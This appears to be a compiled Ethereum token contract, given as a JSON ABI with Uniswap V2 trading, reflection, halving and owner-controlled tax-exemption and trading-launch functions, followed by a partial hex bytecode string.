[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UNISWAP_V2_ROUTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getCurrentSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"i","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"birthDate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"birthRate","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"blocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getNestDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"halvingRate","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastGwei","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nest","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nestLocation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextHalving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"run","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setOpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"setRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"adding","type":"bool"}],"name":"setTaxFreeUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"setVolBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"taxFree","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tick","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromGift","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"i","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"i","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"volBase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60015f81905560058054696db8a47c636ea0000000610100600160881b0319909116179055600680546001600160a01b031990811673bcfbcbe275ac362cd195b06d192df2e3b3e6178e1790915560078054821673b6fb6cf20ae6933c6b7b437b40536207a657df1d17905560088054821673068d1b39169d022e1d56da4fa0f41482400d814417815560098054909216731561d8a0aa09fd3eff92edf81f9d25eb8c0889ba17909155600f80546001600160801b031916620186a01790556011805463ffffffff19166301e1338017905560169190915560036018556409502f900060195560c0604052608090815267151a1948109d5b1b60c21b60a052601c906200010d90826200070b565b50604080518082019091526003815262292aa760e91b6020820152601d906200013790826200070b565b5034801562000144575f80fd5b506040515f9033907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360055461010090046001600160801b0316601381905562000194905f19620007eb565b620001a1905f1962000815565b601555426010819055601154620001c19163ffffffff9091169062000831565b601255600e80546001600160a01b03191633179055620001e062000367565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000235573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025b919062000847565b6040516364e329cb60e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260048201523060248201526001600160a01b03919091169063c9c65396906044016020604051808303815f875af1158015620002bb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e1919062000847565b600b80546001600160a01b0319166001600160a01b039290921691909117905550335f90815260046020526040808220805460ff1990811660019081179092553084529183208054909216811790915560178054808301825592527fc624b66cc0138b8fabc209247f72d758e1cf3343756d543badbf24212bed8c1590910155620008fc565b620003716200050b565b600c80546001600160a01b0319166001600160a01b0392909216919091179055601554620003a290600a9062000876565b620003af9060066200088c565b600e80546001600160a01b039081165f9081526001602052604090819020939093556006549154600b54935163e6d4e45360e01b815290821660048201523060248201529281166044840152737a250d5630b4cf539739df2c5dacb4c659f2488d6064840152169063e6d4e453906084016020604051808303815f875af11580156200043d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000463919062000847565b600d80546001600160a01b0319166001600160a01b039283169081179091555f908152600460205260408120805460ff19166001179055600e546005549216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620004e190600a9061010090046001600160801b0316620008a6565b620004ee906006620008ce565b6040516001600160801b03909116815260200160405180910390a3565b60075460405163b9bc47ab60e01b81523060048201525f916001600160a01b03169063b9bc47ab906024016020604051808303815f875af115801562000553573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000579919062000847565b9050600a6015546200058c919062000876565b620005999060046200088c565b6001600160a01b038281165f9081526001602081815260408084209590955560049081905291849020805460ff19169091179055600854925163b9bc47ab60e01b8152309181019190915291169063b9bc47ab906024016020604051808303815f875af11580156200060d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000633919062000847565b600a80546001600160a01b0319166001600160a01b039290921691821790555f908152600460205260409020805460ff1916600117905590565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200069657607f821691505b602082108103620006b557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200070657805f5260205f20601f840160051c81016020851015620006e25750805b601f840160051c820191505b8181101562000703575f8155600101620006ee565b50505b505050565b81516001600160401b038111156200072757620007276200066d565b6200073f8162000738845462000681565b84620006bb565b602080601f83116001811462000775575f84156200075d5750858301515b5f19600386901b1c1916600185901b178555620007cf565b5f85815260208120601f198616915b82811015620007a55788860151825594840194600190910190840162000784565b5085821015620007c357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601260045260245ffd5b5f82620007fc57620007fc620007d7565b500690565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200082b576200082b62000801565b92915050565b808201808211156200082b576200082b62000801565b5f6020828403121562000858575f80fd5b81516001600160a01b03811681146200086f575f80fd5b9392505050565b5f82620008875762000887620007d7565b500490565b80820281158282048414176200082b576200082b62000801565b5f6001600160801b0383811680620008c257620008c2620007d7565b92169190910492915050565b6001600160801b03818116838216028082169190828114620008f457620008f462000801565b505092915050565b6143a6806200090a5f395ff3fe608060405260043610610236575f3560e01c806394b4377a11610129578063c0406226116100a8578063f25b3f991161006d578063f25b3f991461071a578063f2b9aa1114610745578063f2c7fb0514610773578063f9711ce414610787578063fc7b6aee146107a6575f80fd5b8063c04062261461066a578063c1c9e4d114610689578063c9567bf91461069e578063da85728d146106b7578063dd62ed3e146106d6575f80fd5b8063a82ed9ec116100ee578063a82ed9ec146105db578063a9059cbb14610602578063ad5c464814610621578063b902e1cd14610641578063bee693d214610655575f80fd5b806394b4377a1461054c57806394e107841461056b57806395d89b411461057f57806397a9d56014610593578063a457c2d7146105bc575f80fd5b806334fcf437116101b557806370a082311161017a57806370a08231146104b6578063722cc18b146104d5578063729ad39e146104ea5780637e6335f4146105095780638da5cb5b1461053a575f80fd5b806334fcf4371461042b578063395093511461044a57806349bd5a5e1461046957806361004f3914610488578063705b2cd61461049d575f80fd5b8063209e786f116101fb578063209e786f1461038657806323b872dd146103a55780632c4e722e146103c457806330ea6560146103d9578063313ce56714610410575f80fd5b806306fdde03146102c4578063095ea7b3146102ee57806314b15eb61461031d57806318160ddd14610354578063200d2ed214610372575f80fd5b366102c057601054156102be57335f80516020614331833981519152146102be575f805160206143318339815191526001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561029d575f80fd5b505af11580156102af573d5f803e3d5ffd5b50505050506102be34336107c5565b005b5f80fd5b3480156102cf575f80fd5b506102d8610d67565b6040516102e59190613eb4565b60405180910390f35b3480156102f9575f80fd5b5061030d610308366004613eed565b610df7565b60405190151581526020016102e5565b348015610328575f80fd5b50600f5461033c906001600160801b031681565b6040516001600160801b0390911681526020016102e5565b34801561035f575f80fd5b506013545b6040519081526020016102e5565b34801561037d575f80fd5b506103645f5481565b348015610391575f80fd5b506103646103a0366004613f17565b610e0d565b3480156103b0575f80fd5b5061030d6103bf366004613f2e565b610e2a565b3480156103cf575f80fd5b5061036460185481565b3480156103e4575f80fd5b50600c546103f8906001600160a01b031681565b6040516001600160a01b0390911681526020016102e5565b34801561041b575f80fd5b50604051601281526020016102e5565b348015610436575f80fd5b506102be610445366004613f17565b611168565b348015610455575f80fd5b5061030d610464366004613eed565b6111e4565b348015610474575f80fd5b50600b546103f8906001600160a01b031681565b348015610493575f80fd5b5061036460105481565b3480156104a8575f80fd5b5060055461030d9060ff1681565b3480156104c1575f80fd5b506103646104d0366004613f6c565b61121a565b3480156104e0575f80fd5b50610364601a5481565b3480156104f5575f80fd5b506102be610504366004613f9b565b61123b565b348015610514575f80fd5b506011546105259063ffffffff1681565b60405163ffffffff90911681526020016102e5565b348015610545575f80fd5b505f6103f8565b348015610557575f80fd5b506102be610566366004614068565b61149f565b348015610576575f80fd5b506103646114df565b34801561058a575f80fd5b506102d8611500565b34801561059e575f80fd5b506105a761150f565b604080519283526020830191909152016102e5565b3480156105c7575f80fd5b5061030d6105d6366004613eed565b611543565b3480156105e6575f80fd5b506103f8737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561060d575f80fd5b5061030d61061c366004613eed565b6115dd565b34801561062c575f80fd5b506103f85f8051602061433183398151915281565b34801561064c575f80fd5b506102be6118ba565b348015610660575f80fd5b5061036460125481565b348015610675575f80fd5b506009546103f8906001600160a01b031681565b348015610694575f80fd5b5061036460195481565b3480156106a9575f80fd5b50601b5461030d9060ff1681565b3480156106c2575f80fd5b506102be6106d1366004613f17565b6118df565b3480156106e1575f80fd5b506103646106f036600461409f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610725575f80fd5b50610364610734366004613f17565b60036020525f908152604090205481565b348015610750575f80fd5b5061030d61075f366004613f6c565b60046020525f908152604090205460ff1681565b34801561077e575f80fd5b5061036461195e565b348015610792575f80fd5b506103646107a1366004613f17565b61197a565b3480156107b1575f80fd5b506103646107c0366004613f17565b611a27565b5f546001146108085760405162461bcd60e51b81526004016107ff906020808252600490820152631c995b9d60e21b604082015260600190565b60405180910390fd5b5f8055601b5460ff1661084c576001600160a01b0381165f9081526004602052604090205460ff1661084c5760405162461bcd60e51b81526004016107ff906140cb565b600b545f90610863906001600160a01b031661121a565b90505f6002601780549050116108a1576017805461088390600190614101565b8154811061089357610893614114565b905f5260205f2001546108cb565b601780546108b190600290614101565b815481106108c1576108c1614114565b905f5260205f2001545b90505f60105461012c6108de9190614128565b42106108eb57600a6108ee565b601e5b60ff16905060646108ff828461413b565b6109099190614166565b6109139083614128565b8310801561093f57506064610928828461413b565b6109329190614166565b61093c9083614101565b83115b6109785760405162461bcd60e51b815260206004820152600a602482015269383937ba32b1ba34b7b760b11b60448201526064016107ff565b600b5461099d905f80516020614331833981519152906001600160a01b031687611a46565b6005805460ff19166001179055600b5460408051630dfe168160e01b815290516001600160a01b0390921691630dfe1681916004808201926020929091908290030181865afa1580156109f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a169190614179565b6001600160a01b03163003610b34575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610a77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9b91906141aa565b506001600160701b031691506001600160701b031691505f610abe888385611a9d565b600b54604080515f808252602082019283905263022c0d9f60e01b9092529293506001600160a01b039091169163022c0d9f91610b03918591908c90602481016141f6565b5f604051808303815f87803b158015610b1a575f80fd5b505af1158015610b2c573d5f803e3d5ffd5b505050505050505b600b5f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b84573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ba89190614179565b6001600160a01b0316306001600160a01b031614610cce575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610c12573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c3691906141aa565b506001600160701b031691506001600160701b031691505f610c59888484611a9d565b600b54604080515f808252602082019283905263022c0d9f60e01b9092529293506001600160a01b039091169163022c0d9f91610c9d9185908c90602481016141f6565b5f604051808303815f87803b158015610cb4575f80fd5b505af1158015610cc6573d5f803e3d5ffd5b505050505050505b600b545f90610ce5906001600160a01b031661121a565b1115610d5c57600b54610d00906001600160a01b031661121a565b60178054610d1090600190614101565b81548110610d2057610d20614114565b905f5260205f20015414610d5c57600b54601790610d46906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b505060015f55505050565b6060601c8054610d769061422c565b80601f0160208091040260200160405190810160405280929190818152602001828054610da29061422c565b8015610ded5780601f10610dc457610100808354040283529160200191610ded565b820191905f5260205f20905b815481529060010190602001808311610dd057829003601f168201915b5050505050905090565b5f610e03338484611ae9565b5060015b92915050565b5f80610e176114df565b9050610e238184614166565b9392505050565b600a54604080516306bec9f960e51b815290515f926001600160a01b03169163d7d93f209160048083019260209291908290030181865afa158015610e71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e959190614264565b610eb15760405162461bcd60e51b81526004016107ff9061427f565b601b5460ff16610f14576001600160a01b0384165f9081526004602052604090205460ff1680610ef857506001600160a01b0383165f9081526004602052604090205460ff165b610f145760405162461bcd60e51b81526004016107ff906140cb565b6001600160a01b03841615801590610f3457506001600160a01b03831615155b610f505760405162461bcd60e51b81526004016107ff906142a1565b826001600160a01b0316846001600160a01b031603610f965760405162461bcd60e51b81526020600482015260026024820152616e6f60f01b60448201526064016107ff565b81610fa08561121a565b1015610fd75760405162461bcd60e51b81526004016107ff9060208082526004908201526362616c6160e01b604082015260600190565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156110345760405162461bcd60e51b81526020600482015260076024820152666578636565647360c81b60448201526064016107ff565b61104885336110438685614101565b611ae9565b6001600160a01b0385165f9081526004602052604090205460ff168061108557506001600160a01b0384165f9081526004602052604090205460ff165b1561109a57611095858585611b49565b600191505b6001600160a01b0385165f9081526004602052604090205460ff161580156110da57506001600160a01b0384165f9081526004602052604090205460ff16155b1561116057600b546001600160a01b03908116908516036110ff576110ff8584611bff565b600b546001600160a01b039081169086160361111f5761111f8484611da0565b600b546001600160a01b0385811691161480159061114b5750600b546001600160a01b03868116911614155b1561115b5761115b858585611f3e565b600191505b509392505050565b600e546001600160a01b031633146111aa5760405162461bcd60e51b815260206004820152600560248201526430b236b4b760d91b60448201526064016107ff565b60048110156111df5760405162461bcd60e51b81526020600482015260016024820152600d60fa1b60448201526064016107ff565b601855565b335f8181526002602090815260408083206001600160a01b03871684529091528120549091610e03918590611043908690614128565b6001600160a01b0381165f90815260016020526040812054610e0790610e0d565b600e546001600160a01b0316331480156112585750601b5460ff16155b6112895760405162461bcd60e51b81526020600482015260026024820152616e6f60f01b60448201526064016107ff565b80515f8080805b848110156114695760095486516001600160a01b03909116906370a08231908890849081106112c1576112c1614114565b60200260200101516040518263ffffffff1660e01b81526004016112f491906001600160a01b0391909116815260200190565b602060405180830381865afa15801561130f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133391906142bc565b935060095f9054906101000a90046001600160a01b03166001600160a01b03166394e107846040518163ffffffff1660e01b8152600401602060405180830381865afa158015611385573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a991906142bc565b6113b3908561413b565b92508260015f8884815181106113cb576113cb614114565b6020908102919091018101516001600160a01b031682528101919091526040015f20556113f88383614128565b915085818151811061140c5761140c614114565b60200260200101516001600160a01b0316600e5f9054906101000a90046001600160a01b03166001600160a01b03165f805160206143518339815191528660405161145991815260200190565b60405180910390a3600101611290565b50600e546001600160a01b03165f9081526001602052604081208054839290611493908490614101565b90915550505050505050565b600e546001600160a01b031633146114b5575f80fd5b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f805f6114ea61150f565b90925090506114f98183614166565b9250505090565b6060601d8054610d769061422c565b6015546013545f9182916115238183614166565b82101561153a576015546013549350935050509091565b90939092509050565b335f9081526002602090815260408083206001600160a01b0386168452909152812054828110156115c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107ff565b6115d333856110438685614101565b5060019392505050565b600a54604080516306bec9f960e51b815290515f926001600160a01b03169163d7d93f209160048083019260209291908290030181865afa158015611624573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116489190614264565b6116645760405162461bcd60e51b81526004016107ff9061427f565b601b5460ff166116be57335f9081526004602052604090205460ff16806116a257506001600160a01b0383165f9081526004602052604090205460ff165b6116be5760405162461bcd60e51b81526004016107ff906140cb565b336116db5760405162461bcd60e51b81526004016107ff906142a1565b6001600160a01b0383166117015760405162461bcd60e51b81526004016107ff906142a1565b6001600160a01b038316330361173e5760405162461bcd60e51b8152602060048201526002602482015261737360f01b60448201526064016107ff565b816117483361121a565b101561177c5760405162461bcd60e51b815260206004820152600360248201526218985b60ea1b60448201526064016107ff565b306001600160a01b0384160361179a5761179633836120e4565b5060015b6001600160a01b0383163014610e0757335f9081526004602052604090205460ff16806117de57506001600160a01b0383165f9081526004602052604090205460ff165b156117f2576117ee338484611b49565b5060015b335f9081526004602052604090205460ff1615801561182957506001600160a01b0383165f9081526004602052604090205460ff16155b15610e0757600b546001600160a01b0316330361184a5761184a8383611da0565b600b546001600160a01b0384811691161480156118725750600b546001600160a01b03163314155b156118815761188133836120e4565b600b546001600160a01b038481169116148015906118aa5750600b546001600160a01b03163314155b15610e0357610e03338484611f3e565b600e546001600160a01b031633146118d0575f80fd5b601b805460ff19166001179055565b600e546001600160a01b031633146119215760405162461bcd60e51b815260206004820152600560248201526430b236b4b760d91b60448201526064016107ff565b63ee6b28008110156119595760405162461bcd60e51b81526020600482015260016024820152600d60fa1b60448201526064016107ff565b601955565b600c545f90611975906001600160a01b031661121a565b905090565b5f805f670de0b6b3a764000061198e61195e565b10610e2357600f546001600160801b03166119ac620f424086614166565b6119b6919061413b565b600b549092506064906119d1906001600160a01b031661121a565b6119dc90600161413b565b6119e69190614166565b82116119f25781611a1f565b600b54606490611a0a906001600160a01b031661121a565b611a1590600161413b565b611a1f9190614166565b949350505050565b60178181548110611a36575f80fd5b5f91825260209091200154905081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611a989084906128b1565b505050565b5f80611aab856103e561413b565b90505f611ab8848361413b565b90505f82611ac8876103e861413b565b611ad29190614128565b9050611ade8183614166565b979650505050505050565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f611b526114df565b611b5c908361413b565b6001600160a01b0385165f90815260016020526040902054909150611b82908290614101565b6001600160a01b038086165f908152600160205260408082209390935590851681522054611bb1908290614128565b6001600160a01b038085165f8181526001602052604090819020939093559151908616905f8051602061435183398151915290611bf19086815260200190565b60405180910390a350505050565b5f611c098361121a565b905081811015611c2b5760405162461bcd60e51b81526004016107ff906142d3565b611c3482612949565b5f805f805f611c4287612b1c565b6001600160a01b038d165f9081526001602052604090205494995092975090955093509150611c72908690614101565b6001600160a01b03808a165f9081526001602052604080822093909355600b5490911681522054611ca4908590614128565b600b546001600160a01b03165f90815260016020526040902055611cc88382612b56565b600b545f90611cdf906001600160a01b031661121a565b1115611d5657600b54611cfa906001600160a01b031661121a565b60178054611d0a90600190614101565b81548110611d1a57611d1a614114565b905f5260205f20015414611d5657600b54601790611d40906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b611d60483a614101565b601a55600b546040518381526001600160a01b03918216918a16905f80516020614351833981519152906020015b60405180910390a35050505050505050565b600b548190611db7906001600160a01b031661121a565b1015611dd55760405162461bcd60e51b81526004016107ff906142d3565b6005805460ff191660011790555f80808080611df086612b1c565b600b546001600160a01b03165f9081526001602052604090205494995092975090955093509150611e22908690614101565b600b546001600160a01b039081165f908152600160205260408082209390935590891681522054611e54908590614128565b6001600160a01b0388165f90815260016020526040902055611e768382612b56565b600b545f90611e8d906001600160a01b031661121a565b1115611f0457600b54611ea8906001600160a01b031661121a565b60178054611eb890600190614101565b81548110611ec857611ec8614114565b905f5260205f20015414611f0457600b54601790611eee906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b600b546040518381526001600160a01b038981169216905f805160206143518339815191529060200160405180910390a350505050505050565b80611f488461121a565b1015611f805760405162461bcd60e51b81526020600482015260076024820152666578636565647360c81b60448201526064016107ff565b816001600160a01b0316836001600160a01b031603611fca5760405162461bcd60e51b81526004016107ff9060208082526004908201526373616d6560e01b604082015260600190565b6001600160a01b038316611ff05760405162461bcd60e51b81526004016107ff906142a1565b6001600160a01b0382166120165760405162461bcd60e51b81526004016107ff906142a1565b5f60165561202381612949565b5f805f805f61203186612b1c565b6001600160a01b038d165f9081526001602052604090205494995092975090955093509150612061908690614101565b6001600160a01b03808a165f908152600160205260408082209390935590891681522054612090908590614128565b6001600160a01b0388165f908152600160205260409020556120b28382612b56565b866001600160a01b0316886001600160a01b03165f8051602061435183398151915284604051611d8e91815260200190565b5f5460011461211e5760405162461bcd60e51b81526004016107ff906020808252600490820152631c995b9d60e21b604082015260600190565b5f80805561212b8361121a565b90508181101561214d5760405162461bcd60e51b81526004016107ff906142d3565b600b545f90612164906001600160a01b031661121a565b90505f6002601780549050116121a2576017805461218490600190614101565b8154811061219457612194614114565b905f5260205f2001546121cc565b601780546121b290600290614101565b815481106121c2576121c2614114565b905f5260205f2001545b905060646121db82600a61413b565b6121e59190614166565b6121ef9082614128565b8210801561221c5750606461220582600a61413b565b61220f9190614166565b6122199082614101565b82115b6122555760405162461bcd60e51b815260206004820152600a602482015269383937ba32b1ba34b7b760b11b60448201526064016107ff565b61225e84612949565b5f805f805f61226c89612b1c565b6001600160a01b038f165f908152600160205260409020549499509297509095509350915061229c908690614101565b6001600160a01b03808c165f9081526001602052604080822093909355600b54909116815220546122ce908590614128565b600b546001600160a01b03165f908152600160205260409020556122f28382612b56565b6005805460ff19169055600b5460408051630dfe168160e01b815290518c926001600160a01b031691630dfe16819160048083019260209291908290030181865afa158015612343573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123679190614179565b6001600160a01b03163003612488575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156123c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123ec91906141aa565b506001600160701b031691506001600160701b031691505f61240f868484611a9d565b600b54600a54604080515f808252602082019283905263022c0d9f60e01b9092529394506001600160a01b039283169363022c0d9f93612457938792911690602481016141f6565b5f604051808303815f87803b15801561246e575f80fd5b505af1158015612480573d5f803e3d5ffd5b505050505050505b600b5f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124fc9190614179565b6001600160a01b0316306001600160a01b031614612627575f80600b5f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015612566573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061258a91906141aa565b506001600160701b031691506001600160701b031691505f6125ad868385611a9d565b600b54600a54604080515f808252602082019283905263022c0d9f60e01b9092529394506001600160a01b039283169363022c0d9f936125f693879392911690602481016141f6565b5f604051808303815f87803b15801561260d575f80fd5b505af115801561261f573d5f803e3d5ffd5b505050505050505b600a546040516370a0823160e01b81526001600160a01b0390911660048201819052906321c4912e905f8051602061433183398151915290309082906370a0823190602401602060405180830381865afa158015612687573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126ab91906142bc565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064015f604051808303815f87803b1580156126f7575f80fd5b505af1158015612709573d5f803e3d5ffd5b50506040516370a0823160e01b81523060048201525f92505f8051602061433183398151915291506370a0823190602401602060405180830381865afa158015612755573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061277991906142bc565b604051632e1a7d4d60e01b8152600481018290529091505f8051602061433183398151915290632e1a7d4d906024015f604051808303815f87803b1580156127bf575f80fd5b505af11580156127d1573d5f803e3d5ffd5b505050506127df8282612b7c565b600b545f906127f6906001600160a01b031661121a565b111561286d57600b54612811906001600160a01b031661121a565b6017805461282190600190614101565b8154811061283157612831614114565b905f5260205f2001541461286d57600b54601790612857906001600160a01b031661121a565b81546001810183555f9283526020909220909101555b600b546040518581526001600160a01b03918216918e16905f805160206143518339815191529060200160405180910390a3505060015f5550505050505050505050565b5f6128f2826040518060400160405280600a81526020016929b0b332a2a92199181960b11b815250856001600160a01b0316612c529092919063ffffffff16565b805190915015611a9857808060200190518101906129109190614264565b611a985760405162461bcd60e51b815260206004820152600a6024820152695361666545524332303160b01b60448201526064016107ff565b600b545f90612960906001600160a01b031661121a565b90505f600a5f9054906101000a90046001600160a01b03166001600160a01b031663d